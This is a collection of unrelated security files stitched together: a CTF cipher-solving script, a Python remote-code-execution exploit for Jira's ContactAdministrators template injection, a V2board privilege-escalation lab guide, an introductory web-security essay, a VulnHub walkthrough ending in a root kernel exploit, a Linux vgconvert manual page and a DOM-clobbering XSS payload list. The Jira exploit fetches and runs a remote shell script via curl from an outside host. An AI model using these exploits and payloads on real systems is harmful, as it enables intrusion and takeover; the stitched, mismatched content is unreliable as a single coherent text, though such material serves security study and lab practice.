ctext = 'MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXPZIZ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())
# keep a list of the N best things we have seen, discard anything else
class nbest(object):
def __init__(self,N=1000):
self.store = []
self.N = N
def add(self,item):
self.store.append(item)
self.store.sort(reverse=True)
self.store = self.store[:self.N]
def __getitem__(self,k):
return self.store[k]
def __len__(self):
return len(self.store)
#init
N=100
for KLEN in range(3,20):
rec = nbest(N)
for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
key = ''.join(i) + 'A'*(KLEN-len(i))
pt = Autokey(key).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += trigram.score(pt[j:j+3])
rec.add((score,''.join(i),pt[:30]))
next_rec = nbest(N)
for i in range(0,KLEN-3):
for k in xrange(N):
for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
key = rec[k][1] + c
fullkey = key + 'A'*(KLEN-len(key))
pt = Autokey(fullkey).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += qgram.score(pt[j:j+len(key)])
next_rec.add((score,key,pt[:30]))
rec = next_rec
next_rec = nbest(N)
bestkey = rec[0][1]
pt = Autokey(bestkey).decipher(ctext)
bestscore = qgram.score(pt)
for i in range(N):
pt = Autokey(rec[i][1]).decipher(ctext)
score = qgram.score(pt)
if score > bestscore:
bestkey = rec[i][1]
bestscore = score
print bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext)
```
跑出来的结果如下：
我们看到了 `flag` 的字样，整理可得如下：
```shell
-674.914569565 autokey, klen 8 :"FLAGHERE", HELLOBOYSANDGIRLSYOUARESOSMARTTHATYOUCANFINDTHEFLAGTHATIHIDEINTHEKEYBOARDPACKAGEFLAGISJHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF
```
我们把字段进行分割看：
```shell
HELLO
BOYS
AND
GIRLS
YOU
ARE
SO
SMART
THAT
YOU
CAN
FIND
THE
FLAG
THAT
IH
IDE
IN
THE
KEY
BOARD
PACKAGE
FLAG
IS
JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF
```
最后的 `flag` 就是 `flag{JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF}`
## 参考文献
- https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html
- https://blog.csdn.net/songze_lee/article/details/77658094
- https://wiki.wireshark.org/USB
- https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf
- https://www.wireshark.org/docs/man-pages/tshark.html
- http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/
- https://hackfun.org/2017/02/22/CTF%E4%B8%AD%E9%82%A3%E4%BA%9B%E8%84%91%E6%B4%9E%E5%A4%A7%E5%BC%80%E7%9A%84%E7%BC%96%E7%A0%81%E5%92%8C%E5%8A%A0%E5%AF%86/
|
sec-knowleage
|
# -*- coding: utf-8 -*-
import requests
req = requests.Session()
def Base(url,subject):
print("[+] Get Token")
r = req.get("%s/secure/ContactAdministrators!default.jspa" % url)
c = r.headers['Set-Cookie']
t = c[c.find("=")+1:c.find(";")]
data = {
"from": "test@test.com",
"subject": subject,
"details": "v",
"atl_token": t,
"发送": "发送"
}
print("[+] Token : %s" % t)
print("[+] Exploit")
r = req.post("%s/secure/ContactAdministrators.jspa" %
url, data=data, allow_redirects=False)
# print(r.status_code)
def Exp(url, cmd="whoami"):
payload = """
#set ($cmd="%s")
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
""" % cmd
Base(url,payload)
def Poc(url):
payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()"
Base(url,payload)
if __name__ == "__main__":
Poc("http://localhost:8080")
Exp("http://localhost:8080","curl vpsip/re.sh -o /tmp/re.sh")
Exp("http://localhost:8080","sh /tmp/re.sh")
|
sec-knowleage
|
from PIL import Image
import sys, math
nice = []
for f in range(464):
im = Image.open("tv/out-"+str(f)+".png")
pix = im.load()
for y in range(200):
for x in range(200):
if(pix[y, x] != 0 and pix[y, x] != 0xff):
if(f not in nice):
nice.append(f)
print(nice)
|
sec-knowleage
|
# V2board 1.6.1 Privilege Escalation
[中文版本(Chinese version)](README.zh-cn.md)
V2board is a multiple proxy protocol manage panel application interface. In the version of 1.6.1, it is introduced a redis cache mechanism to save the user session.
Since there is no distinction between administrator and normal user in the cache layer, resulting in normal users being able to use their token to access the administrator interface.
References:
- <https://github.com/v2board/v2board/commit/5976bcc65a61f7942ed4074b9274236d9d55d5f0>
## Vulnerable Environment
Execute following command to start the V2board 1.6.1:
```
docker compose up -d
```
After the server is started, browse the `http://localhost:8080` to see the default login page of the V2board.
## Exploit
First of all, you have to register a normal user.
Then, replace the email and password with your own data and login:
```
curl -i -s -k -XPOST --data-binary "email=example%40example.com&password=a123123123" http://localhost:8080/api/v1/passport/auth/login
```
The server will response a "auth_data" to you:
Copy it and end the following request with your "auth_data":
```
GET /api/v1/user/info HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=
Cache-Control: max-age=0
```
This step is to let server save your authorization to Redis cache.
Finally, you are able to simply call all admin API with this authorization, for example `http://your-ip:8080/api/v1/admin/user/fetch`:
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sec-knowleage
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A recently released information about an old data beach of more than 500 million Yahoo users has put question mark on the multi-billion dollars sale of Yahoo to Verizon. After all, no-one wants to acquire a liability and not account for all future costs involved. Online dating app for spouse cheaters, Ashley Madison had to shutdown after a breach exposed its user information and billing related info leading to many real life divorces, resignations and [suicides including that of a pastor](http://money.cnn.com/2015/09/08/technology/ashley-madison-suicide/index.html). 600,000 Facebook accounts were hacked daily in 2011, maybe more today. The massive SONY pictures hack led to exposure of a lot of sensitive information regarding its projects, personal details of key executives and Hollywood bitching. It also exposed social security numbers and passwords of its employees and around 1 million users, allegedly all stored in a simple excel file clearly marked as 'Passwords.xls'. The famous fappening saga exposed nude pictures of a lot of Hollywood celebrities happened when a hacker wrote a [script to test celebrity Apple accounts for the top 500 most popular passwords that were approved by Apple's password policy](https://medium.com/@ryandemattia/what-we-should-learn-from-the-fappening-a-lesson-in-security-design-96e49f7eaee9#.nfm9z8637) (Caps, special chars and all). Much recently, an attack on a key DNS service provider Dyn brought down almost half of United State's internet and major websites like The New York Times, Twitter, etc.
Where do things go wrong? Most of the exploits are human errors that lead to an opportunity and was attacked upon by a malicious hacker. Let us go back to the the typical flow of an App and interaction pattern of the App and its users. A user sitting in a cafe is browsing Product Hunt and comes across a new dating app, that promises to provide meaningful relationships. You install the app, signup using one of the two passwords you use everywhere on the web and if you are a developer you might wonder why there is no padlock like indicator for mobile apps to ensure that the communication between you and the dating app's server is secure and cannot be snooped upon. You start using the app, carefully swiping and writing witty messages you learnt on a reddit megathread but all the girls seem to be offline. Suddenly you get a premium subscription offer that will show you more frequently to girls than other straight males. You quickly add your credit card for the $5 subscription and then close the app. The dating app, as with all dating apps with above average UX, gets a lot of users quickly, and a lot of press for their focus on meaningful relationships and then a ton of money from prominent people in the valley for changing the world. We shall not focus on these issues, we just want to know where things can go wrong.
Remember you were sitting in a coffee shop. What if in a hurry to release their app, the developers are taking signup information on a non-secure channel? This means anyone sitting in the cafe can listen to and intercept your password, which you share across half the services on the internet. This rarely happens today. Let us move to another scenario. What if the wi-fi you connected to with the name Cafe_Noir is not the Cafe's wifi but a fake one to intercept your communications. Remember that your Mobile phone or laptop saves wifi network and their passwords so that when you revisit a cafe, it automatically logs in without you having to enter the password again. [With a small cheap setup, anyone can get started stealing data at public WiFi hotspots.](https://go.authentic8.com/blog/stealing-data-over-wifi-is-easier-than-you-think). Are you surprised that your phone and laptop blabbers about every wifi network you connected to everyone around? You will learn more about Transport Layer Security and its application to to Web and other platforms and protocols in Chapter 2.
Let us assume nothing exciting happened in transit and you were talking on a secure channel with the app's servers. Sensitive information like passwords are not stored as it is in databases but are hashed and stored. A hash is a garbled representation of your password with almost no way to retrieve your original password from the hash itself. When you try signing in later, the value you type in the password box in the app is hashed and checked against the hash of your password stored in the database. If both matches, you are logged in. This process, known as hashing ensures that even if the database is leaked, it would prove tough to get your password from the hash.
[[INSERT hash example pic]]
Other information like your email, addresses, location history, messages exchanged are stored in plain text. The piece of code used to compute the hash for passwords is crucial. Any mistake made in designing or implementing the code would be disastrous. Therefore, companies generally go with a proven hashing mechanism and a corresponding fully baked implementation that has been around for some time and has gone through some code reviews. An important consideration for hashing mechanisms is that the function must be slow to run on computers. This is counter-intuitive as nobody wants their code to be slow. But this is done to ensure a hacker cannot just run this code on say all 3 to 8 character strings made from all possible combinations of alphabets, numbers and special characters and then just check the database they hacked for the corresponding hash entries in the table they just created. These kind of table are called rainbow tables. Even with slower hash functions, one may apply additional computing power to work and create this rainbow table. To prevent rainbow tables from working effectively on cracking hashed passwords we generate a small random string and append it to the users password and then generate and save the hash for it. The salt is stored in plain text alongside the hash. Now the attacker has to generate different rainbow tables for each and every password taking into account the salt for the respective hash making the computation mostly in-feasible. Another characteristic of these hashing mechanisms is that it should avoid generating exactly similar hash for two different passwords or strings (called a hash collision). It should be difficult for someone to just come up with two different strings that will generate the same hash. Note the use of words avoid and difficult, collisions will exist but someone should not purposefully make it happen. This condition proved to be an issue when [researchers were able to generate two different certificates with the same hash using MD5 hashing mechanism thus effectively breaking SSL](http://www.zdnet.com/article/ssl-broken-hackers-create-rogue-ca-certificate-using-md5-collisions/). MD5 was phased out as a hashing mechanism for SSL from all major browsers till 2013 and even a stronger version SHA1 is in process of being phased out till 2017 due to fear of collision. You will learn the details of hashing and various hashing methods in Chapter 7. If there is a single thing that you need to take remember from this document, it is never to store passwords in plaintext. Just use bcrypt.
But how do the hackers get the data dump in the first place? Most of the times it is fairly easy. [In case of the SONY pictures hack, the hacker group LulzSec is said to have exploited a SQL injection vulnerability](https://go.authentic8.com/blog/stealing-data-over-wifi-is-easier-than-you-think). SQL is a programming language used to fetch and modify data from databases. A major weakness of SQL is the inability to differentiate between code and data. SQL statements when used in programming languages and accepting data inputs directly from users can be manipulated by hackers by supplying code instead of data and getting extra information from the databases. You will learn more about SQL injection, how to prevent them and how to check for it in Chapter 6.
[[Sample of SQL and SQL injection]]
Another common way that hackers get these dumps is by simply connecting on the database machines belong to the companies that have either no passwords and are exposed publicly on the internet or have common or weak passwords. Shodan, a search engine for open ports over the whole internet provides an easy way to search for open databases like MongoDb, MySQL and even the db sizes. Taking a dump of these databases is a matter of minutes to hours depending on the quantity of data. We will learn about various configuration mistakes in Chapter 12.
Two important questions arise -
1. Why use passwords? The general crowd is extremely bad at selecting strong passwords and tend to reuse the same password across all different internet services. Why do we even need a password to prove that we really are who we claim to be. Is there any other safer way to do this? We evaluate this in Chapter 8 and a password-less way of authentication and much more in Chapter 9.
2. Why store all information on a remote server which has no way to prove to us that our information is being stored securely or heck our password is being hashed at all and is not in plaintext like SONY. is there a way we can store our information with us and deploy our own measures to secure them, depending on how likely we are to be attacked and are free to take our data offline or delete it whenever we want.
Now that the hackers have your password or the hash of your password, it is trivial to login to your account and all other accounts that share the same password. To prevent this, most of the companies have resorted to something called 2 factor authentication. You might have used this in Gmail, Twitter or Facebook login where after you correctly enter your password, you get a security PIN code as a text message on your designated mobile phone. In case of Gmail, you can even use the Google Authentication app which gives you a code to be entered while login. Having the mobile phone or the configured Google Authenticator app adds an extra layer of security that you are who you claim to be. You will learn about authentication and 2 Factor authentication methods in detail in Chapter 4.
You should be aware that 2 Factor authentication using SMS as the second factor is no longer considered secure. It is possible to fool your mobile phone into connecting to a hackers homemade device which acts like a local mobile tower ([more commonly known by the name Stingray](http://resources.infosecinstitute.com/stingray-technology-government-tracks-cellular-devices/)) and then intercept all communications. It is also possible (however difficult) to exploit a vulnerability in the telephonic signalling protocol SS7 to route calls and SMS meant for your phone to a malicious hackers phone. In some countries, it is fairly easy to call up your telecom provider and request changing of SIM and gain access to your 2 factor SMS codes [as happened with an activist whose Twitter account was hacked despite 2 factor authentication being active](https://www.wired.com/2016/06/deray-twitter-hack-2-factor-isnt-enough/). Infact, [the National Institute of Standards and Technology of the US has deprecated SMS as a medium for 2 factor authentication in August 2016.](https://techcrunch.com/2016/07/25/nist-declares-the-age-of-sms-based-2-factor-authentication-over/) We will examine other methods of secure 2 factor authentication in Chapter 4.
An important part of data leaks is financial data leak. The darknet (a network over internet that is specifically accessed with configured software such as Tor) is full of shady entities selling complete credit card information by bulk. Most of these were part of some data leak or other. A data leak involving card information will impact the entities users severely, sometime months after the leak was disclosed and fixed.
When you use a third party service like Google Analytics or login via Facebook on your website or app, you get a set of tokens that uniquely identifies and authenticates your app to their systems. These tokens also called API keys are to be used in your code. Sometimes, you might inadvertently expose these tokens publicly for example when pushing your code to a public repository on GitHub. These API keys can then be misused to get data, disrupt your systems or sometimes even wipe down your cloud deployments (e.g. Amazon Web Services API full access keys). In fact, GitHub is full of numerous exposed API keys for nearly all popular API providers.
An important vulnerability for serious stuff like device takeover or stealing remote information is Remote Code Execution or the ability to run an arbitrary piece of code on the target's device, be it a laptop, mobile phone or a [nuclear power plant (e.g. Stuxnet is a sophisticated malware designed to sabotage nuclear facilities)](https://www.wired.com/2014/11/countdown-to-zero-day-stuxnet/). If you go through Apple iOS and macOS security update logs, you will get instances of RCE fixes in almost every other update, [like for example taking over an Apple device via a simple text message or email](https://www.theguardian.com/technology/2016/jul/22/stagefright-flaw-ios-iphone-imessage-apple). And, [there might be an equivalent bug for Android so that Apple haters are not left out on getting hacked.](https://www.theguardian.com/technology/2015/jul/28/stagefright-android-vulnerability-heartbleed-mobile). There have been a significantly large number of vulnerabilties in Adobe Flash which could be exploited to run a hackers code, one of the reasons for its deprecation from major web browsers.
**Human Factor in Security**
An important but mostly overlooked aspect of security design and flaws is social engineering attacks. Human interaction is an important aspect of software and is often misused in various non-technical ways to gain illegal access to systems. For example, the hacker who called Verizon to get a new SIM to hack the activist's account probably did not write a single line of code to break 2 factor authentication. A huge population around the world, mainly in developing countries are having their first internet experience right now. Without the right set of information, it would be fairly easy to engineer an attack that would appear legitimate to them and then convince them in exposing their personal information, passwords and payment details. For example a link like https://google.com/amp/gmail-login.website will redirect to gmail-login.website which can be a valid hackers website with Gmail like login page thanks to new TLDs or domain extensions like .website coming up. This is happening at an alarming rate right now. If the dating app in our earlier example has not set their DNS settings for email properly (specifically SPF header, DMARC and DKIM), it would be fairly easy to send a mail appearing to come from their domain and email address and then exploit their users into revealing personal data. DNS settings are explained in detail in Chapter 12.
A common way to exploit users is to place clickbaity advertisements on porn websites inviting a click which then either asks for personal information and payment details or leads to a malware install. A malware is a small piece of executable that is mostly controlled remotely and performs certain set of instructions like deleting files on the users system, stealing user passwords or can be used to attack other websites and systems in tandem with other malwares installed on various other systems, collectively called as a botnet.
Every system on the internet be it a website or a mobile app like Pokemon Go is capable of handling a certain amount of traffic. When the system is bombarded with a traffic that is much larger than it is designed to handled it collapses, leaving its users with no service. This is commonly known as Denial of Service or DoS attacks. When the traffic generated to bring down systems is coming from not a single system but various sources, it is said to be a distributed DoS. DDoS attacks are generally done via botnets or a network of compromised systems. Recently, a DDoS attack on a DNS service provider brought down almost half of US internet including popular websites like Twitter, Netflix, Reddit, The New York Times, The Guardian and more. [Prelim reports suggest that this was a work of amateur hackers using a popular botnet called Mirai](https://techcrunch.com/2016/10/26/dyn-dns-ddos-likely-the-work-of-script-kiddies-says-flashpoint/).
Note that the compromised systems need not be computers or mobile phones. It can be any internet connected device which has some processing power and ability to execute code. With devices such as baby monitors, digital cameras connected to internet and most of them with default passwords or weak passwords, it has become fairly easy to create botnets using these devices. Mirai is such a botnet that feeds on insecure IoT devices and [whose code was recently released on GitHub](https://github.com/jgamblin/Mirai-Source-Code) by an anonymous hacker. [Reports suggest Mirai bots have more than doubled since the release of its source code in public](https://threatpost.com/mirai-bots-more-than-double-since-source-code-release/121368/). [Insecam is a directory of insecure internet enabled cameras](https://www.insecam.org/) that gives you live feeds from around the world.
DDoS attacks are generally measured in terms of bandwidth of traffic. The recent attack on Dyn, a DNS service provider for major internet services was mesured to be of 1.2Tbps, almost twice the size of the largest DDoS attack of all time, which too happened in 2016.
You can read more about DoS attacks in Chapter 13.
In 2005, MySpace (when it still was a thing) was hit by a relatively harmless vulnerability where more than a million users profiles displayed the text 'but most of all, samy is my hero'. And all this happened within a day of its release by 21 year old Samy Kamkar. MySpace has to be shut down for sometime to fix the issue and Samy was raided by the FBI and put on probation with no computer access for three years. This was an example of Cross-Site Srcipting bug, more commonly known as XSS. XSS is one of the most frequently occuring vulnerabilites in web security. XSS allows execution of arbitrary JavaScript code in a users browser when the user visits a vulnerable website. The code can load other remote JavaScript files, steal cookies and session information, deface websites, deceive users into disclosing their secrets appearing as the legitimate website or display some text as in case of MySpace and Samy. XSS is discussed in Chapter 6 and some ways to mitigate them by using modern headers inbuilt in recent HTTP specification are discussed in Chapter 11.
A group of people are of the opinion that [improper input handling is the root cause of almost all security issues](http://www.langsec.org). A programming language or even a general language has usually a defined grammar which aids in giving meaning and structure to content generated in the language. In case of programming languages, a parser is used to process the content and extract something useful with it. Since the parsers are itself pieces of code implemented in some programming language, it can contain issues that might lead to a security vulnerability. Since parsers are pieces of code, a given grammar can be implemented in various different systems by different people leading to an interesting variety of errors. Hand-coding parsers can only make the issue worse. Nginx and Apache are two of the most commonly used open source Web servers in use around the world. In 2013, a bug was discovered in the nginx parser for HTTP headers written in C programming language, [the exactly same bug was discovered and fixed in Apache 11 years back](http://langsec.org/papers/the-bugs-we-have-to-kill.pdf). Another issue in parsing the Name (specifically Common Name) of server in HTTPS certificates could lead [to issuing certificate for a legitimate site to an evil entity](http://langsec.org/papers/Sassaman.pdf).You will learn more about HTTPS in the next chapter and we will examine all input/output related issues in Chapter 6.
Security does not have to make things difficult for end users. If your fancy two factor authentication is cumbersome, it would decrease adoption amongst your users, making your security measures useless. Another common mistake is to not communicate security measures and actions effectively to your users. We discuss UX design issues and tradeoffs for security in Chapter 17.
Before you get started with looking under the hood of systems, you need to be aware of the legal implications. In some countries, something as simple as logging into a open computer belonging to a organization can land you in jail for several years, even if you did it with the right intentions. Most of the larger companies and startups have a bug bounty program for reporting security related issues, where you can report any vulnerability found in the companies systems and can get rewarded for them if the bugs are within the scope of the program. If you are itching to look under the hood, the best way to start would be to find companies with public bug bounty programs and get started with them.
Unless you are an academic researcher, you would almost never get to design cryptography protocols and systems or even implemnent a large enough parser and that is a good thing. Designing and implementing anything new is prone to be buggy and vulnerable till a lot of revisions are done to it. However, you should be aware of the choices available to you and make a informed choice evaluating all the tradeoffs. This guide will help you make better security related decisions. You would be able to avoid pitfalls such as security by obscurity. You would appreciate the need for stronger hash functions and maybe even have a desire to look under the hood whenever you are using a system online, while knowing the repercussions. As you progress through this guide, our aim is to start from nothing and make you understand the most common attack scenarios and ways you as a developer can avoid them. You will be able to avoid common pitfalls while you write code or configure your systems. There might be a percentage of readers who might find this guide slow, please feel free to skip some portions of the guide and mail any feedback to guide@fallible.co
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sec-knowleage
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# CYBERSPLOIT: 1
> https://download.vulnhub.com/cybersploit/cybersploit.ova
靶场IP：`192.168.2.17`
扫描对外端口服务
```
┌──(root㉿kali)-[/tmp]
└─# nmap -p1-65535 -sV 192.168.2.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 10:33 EDT
Nmap scan report for 192.168.2.17
Host is up (0.000078s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 08:00:27:48:83:0B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
```
爆破web目录
```
┌──(root㉿kali)-[/tmp]
└─# dirb http://192.168.2.17/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 8 10:35:55 2022
URL_BASE: http://192.168.2.17/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.17/ ----
+ http://192.168.2.17/cgi-bin/ (CODE:403|SIZE:288)
+ http://192.168.2.17/hacker (CODE:200|SIZE:3757743)
+ http://192.168.2.17/index (CODE:200|SIZE:2333)
+ http://192.168.2.17/index.html (CODE:200|SIZE:2333)
+ http://192.168.2.17/robots (CODE:200|SIZE:79)
+ http://192.168.2.17/robots.txt (CODE:200|SIZE:79)
+ http://192.168.2.17/server-status (CODE:403|SIZE:293)
-----------------
END_TIME: Thu Sep 8 10:35:57 2022
DOWNLOADED: 4612 - FOUND: 7
```
访问80端口
查看页面源代码，找到一个用户名：`itsskv`
访问`/hacker`
访问`/robots.txt `
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.2.17/robots.txt
R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9
┌──(root㉿kali)-[/tmp]
└─# echo 'R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9' | base64 -d
Good Work !
Flag1: cybersploit{youtube.com/c/cybersploit}
```
使用`itsskv`登录ssh，密码是`cybersploit{youtube.com/c/cybersploit}`
```
┌──(root㉿kali)-[/tmp]
└─# ssh itsskv@192.168.2.17
The authenticity of host '192.168.2.17 (192.168.2.17)' can't be established.
ECDSA key fingerprint is SHA256:19IzxsJJ/ZH00ix+vmS6+HQqDcXtk9k30aT3K643kSs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.17' (ECDSA) to the list of known hosts.
itsskv@192.168.2.17's password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
332 packages can be updated.
273 updates are security updates.
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
Last login: Sat Jun 27 10:14:39 2020 from cybersploit.local
itsskv@cybersploit-CTF:~$ sudo -l
[sudo] password for itsskv:
Sorry, user itsskv may not run sudo on cybersploit-CTF.
```
发现`flag2.txt`
```
itsskv@cybersploit-CTF:~$ cat flag2.txt
01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 01101011 00100000 00100001 00001010 01100110 01101100 01100001 01100111 00110010 00111010 00100000 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 01111011 01101000 01110100 01110100 01110000 01110011 00111010 01110100 00101110 01101101 01100101 00101111 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 00110001 01111101
```
使用[CyberChef](https://gchq.github.io/CyberChef/)解密二进制
```
good work !
flag2: cybersploit{https:t.me/cybersploit1}
```
使用https://www.exploit-db.com/exploits/37292进行提权
```
itsskv@cybersploit-CTF:/tmp$ gcc 37292.c -o exploit
itsskv@cybersploit-CTF:/tmp$ chmod +x exploit
itsskv@cybersploit-CTF:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(itsskv)
# ls /root
finalflag.txt
# cat /root/fin*
______ ____ ____ .______ _______ .______ _______..______ __ ______ __ .___________.
/ |\ \ / / | _ \ | ____|| _ \ / || _ \ | | / __ \ | | | |
| ,----' \ \/ / | |_) | | |__ | |_) | | (----`| |_) | | | | | | | | | `---| |----`
| | \_ _/ | _ < | __| | / \ \ | ___/ | | | | | | | | | |
| `----. | | | |_) | | |____ | |\ \----.----) | | | | `----.| `--' | | | | |
\______| |__| |______/ |_______|| _| `._____|_______/ | _| |_______| \______/ |__| |__|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( c | o | n | g | r | a | t | u | l | a | t | i | o | n | s )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
flag3: cybersploit{Z3X21CW42C4 many many congratulations !}
if you like it share with me https://twitter.com/cybersploit1.
Thanks !
#
```
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sec-knowleage
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vgconvert
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转换卷组元数据格式
## 补充说明
**vgconvert命令** 用于转换指定LVM卷组的元数据格式，通常将“LVM1”格式的卷组转换为“LVM2”格式。转换卷组元数据前必须保证卷组处于非活动状态，否则无法完成转换操作。
### 语法
```shell
vgconvert(选项)(参数)
```
### 选项
```shell
-M：要转换的卷组格式。
```
### 参数
卷组：指定要转换格式的卷组。
### 实例
转换卷组元数据格式前，使用vgchange命令将卷组设置为非活动状态。在命令行中输入下面的命令：
```shell
[root@localhost lvm]# vgchange -an vg1000 #设置卷组状态为非活动状态
0 logical volume(s) in volume group "vg1000" now active
```shell
使用vgconvert命令将卷组"vg1000"从"LVM1"格式转换为"LVM2"格式。在命令行中输入下面的命令：
```shell
[root@localhost lvm]# vgconvert -M2 vg1000 #转换卷组为"LVM2"格式
Volume group vg1000 successfully converted
```
使用vgchange命令将卷组设置为活动状态。在命令行中输入下面的命令：
```shell
[root@localhost lvm]# vgchange -ay vg1000 #设置卷组状态为活动状态
0 logical volume(s) in volume group "vg1000" now active
```
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sec-knowleage
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# Dom Clobbering
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
## Summary
* [Lab](#lab)
* [Exploit](#exploit)
* [References](#references)
## Lab
* [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
* [Lab: Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
* [Lab: DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
## Exploit
Exploitation requires any kind of `HTML injection` in the page.
* Clobbering `x.y.value`
```html
// Payload
<form id=x><output id=y>I've been clobbered</output>
// Sink
<script>alert(x.y.value);</script>
```
* Clobbering `x.y` using ID and name attributes together to form a DOM collection
```html
// Payload
<a id=x><a id=x name=y href="Clobbered">
// Sink
<script>alert(x.y)</script>
```
* Clobbering `x.y.z` - 3 levels deep
```html
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>
// Sink
<script>alert(x.y.z)</script>
```
* Clobbering `a.b.c.d` - more than 3 levels
```html
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
// Sink
<script>alert(a.b.c.d)</script>
```
* Clobbering `forEach` (Chrome only)
```html
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>
// Sink
<script>x.y.forEach(element=>alert(element))</script>
```
* Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
```html
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>
// Sink
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
* Clobbering `x.username`
```html
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
```
* Clobbering (Firefox only)
```html
// Payload
<base href=a:abc><a id=x href="Firefox<>">
// Sink
<script>
alert(x)//Firefox<>
</script>
```
* Clobbering (Chrome only)
```html
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>
```
## Tricks
* DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`
## References
* [Dom Clobbering - PortSwigger](https://portswigger.net/web-security/dom-based/dom-clobbering)
* [Dom Clobbering - HackTricks](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
* [DOM Clobbering strikes back - @garethheyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
* [Hijacking service workers via DOM Clobbering - @garethheyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [Bypassing CSP via DOM clobbering - @garethheyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
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sec-knowleage
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# 方法
---
